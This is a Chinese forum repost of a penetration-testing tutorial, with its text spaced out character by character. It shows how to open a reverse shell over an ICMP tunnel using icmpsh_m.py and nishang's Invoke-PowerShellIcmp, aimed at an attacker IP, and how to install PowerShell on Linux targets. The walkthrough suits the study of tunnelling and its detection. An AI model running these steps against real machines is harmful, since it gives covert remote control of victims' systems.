搜索

[346] 2020-10-23_powershell搭建icmp隧道

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-10-23_powershell搭建icmp隧道 p o w e r s h e l l 搭 建 i c m p 隧 道 原 创   w e n B o s s   a F a 攻 防 实 验 室   2 0 2 0 - 1 0 - 2 3 收 录 于 话 题   # 内 网 攻 防   , 4 3 个   说 明 说 明 与 其 说 是 p o w e r s h e l l 搭 建 i c m p 隧 道 ， 不 如 说 是 i c m p s h + p o w e r s h e l l 搭 建 的 。 i c m p s h 的 使 用 可 以 参 考 上 上 篇 的 文 章 ， 它 是 在 攻 击 机 执 行 i c m p s h _ m . p y 文 件 ， 然 后 在 受 害 机 执 行 的 i c m p s h . e x e 。 现 在 针 对 p o w e r s h e l l 的 方 法 ， 就 是 把 i c m p s h . e x e 换 成 p o w e r s h e l l 脚 本 。 攻 击 机 还 是 运 行 i c m p s h _ m . p y 。 像 之 前 的 i c m p s h . e x e 是 只 能 在 目 标 机 为 w i n d o w s 的 系 统 上 运 行 ， 而 p o w e r s h e l l 脚 本 只 要 目 标 机 有 环 境 就 可 以 运 行 ， 这 也 是 他 们 的 一
个 区 别 。 过 程 过 程 我 这 里 换 了 下 i p 地 址 ， 和 上 面 图 中 的 不 一 样 。 首 先 在 攻 击 机 上 将 系 统 i c m p 回 应 关 掉 ， 然 后 执 行 i c m p s h _ m . p y ， 指 定 攻 击 i p 和 目 标 i p 。 在 受 害 机 运 行 我 们 的 p o w e r s h e l l 脚 本 ， 脚 本 使 用 n i s h a n g 中 的 I n v o k e - P o w e r S h e l l I c m p . p s 1 ， 脚 本 使 用 方 法 和 之 前 的 i c m p s h . e x e 类 似 ， 导 入 模 块 ， 然 后 跟 攻 击 机 i p 即 可 ， 如 下 图 。 随 后 ， 我 们 的 攻 击 机 就 会 接 收 到 返 回 的 s h e l l 。 查 看 数 据 包 。 s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1 . / i c m p s h _ m . p y   1 9 2 . 1 6 8 . 2 4 1 . 1 2 8   1 9 2 . 1 6 8 . 2 4 1 . 1 2 9 p o w e r s h e l l I m p o r t - M o d u l e   . I n v o k e - P o w e r S h e l l I c m p . p s 1 I n v o k e - P o w e r S h e l l I c m p   1 9 2 . 1 6 8 . 2 4 1 . 1 2 8
目 标 机 目 标 机 L i n u x 针 对 目 标 机 为 l i n u x 的 情 况 ， 如 果 目 标 机 没 有 p o w e r s h e l l 环 境 ， 我 们 需 要 安 装 一 下 ， 找 到 p o w e r s h e l l 的 对 应 的 r p m 包 下 载 后 安 装 即 可 。 因 为 以 后 会 更 新 版 本 的 问 题 ， 这 里 具 体 的 下 载 连 接 就 拿 x x x 举 例 ， 具 体 连 接 在 g i t h u b 上 获 取 。 相 关 截 图 如 下 ： w g e t   h t t p s : / / g i t h u b . c o m / P o w e r S h e l l / P o w e r S h e l l / r e l e a s e s / p o w e r s h e l l - x x x x x - c e n t o s r p m   - i v h   p o w e r s h e l l . r p m
L i n u x 安 装 安 装 p o w e r s h e l l 问 题 问 题 如 果 p o w e r s h e l l 使 用 r p m   - i v h 命 令 安 装 提 示 没 有 依 赖 包 的 情 况 ， 则 需 要 安 装 相 应 的 依 赖 包 ， 考 虑 到 依 赖 包 如 果 在 比 较 多 的 情 况 下 ， 且 相 互 依 赖 关 系 复 杂 ， 不 利 于 我 们 安 装 ， 所 以 我 们 可 以 使 用 y u m 命 令 本 地 安 装 的 方 法 ， 让 它 自 动 解 决 依 赖 问 题 ， 命 令 如 下 。 再 有 一 种 情 况 就 是 ， 如 果 目 标 机 在 内 网 ， y u m 命 令 使 用 有 限 ， 上 述 命 令 不 能 使 用 的 时 候 ， 我 们 另 一 种 办 法 进 行 解 决 。 即 把 p o w e r s h e l l 涉 及 到 的 r p m 包 依 赖 全 部 拷 贝 到 目 标 机 ， 然 后 一 块 安 装 。 操 作 步 骤 ： 首 先 我 们 需 要 在 本 机 的 环 境 中 修 改 y u m 的 配 置 文 件 ， 将 其 缓 存 功 能 打 开 ， 作 用 就 是 y u m 命 令 安 装 的 r p m 包 所 涉 及 到 的 依 赖 都 会 保 存 下 载 。 然 后 将 配 置 文 件 中 的 k e e p c a c h e = 1 值 改 为 1 ， 这 时 再 使 用 y u m 来 安 装 r p m 包 ， 涉 及 到 的 依 赖 都 会 保 存 在 / v a r / c a c h e / y u m 下 ， 我 们 把 这 些 包 统 一 上 传 到 目 标 机 ， 然 后 执 行 下 面 的 命 令 即 可 。 y u m   l o c a l i n s t a l l   p e r c o n a - x x x x . r p m   - y / e t c / y u m . c o n f r p m   - i v h   * . r p m   - - n o d e p s   - - f o r c e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理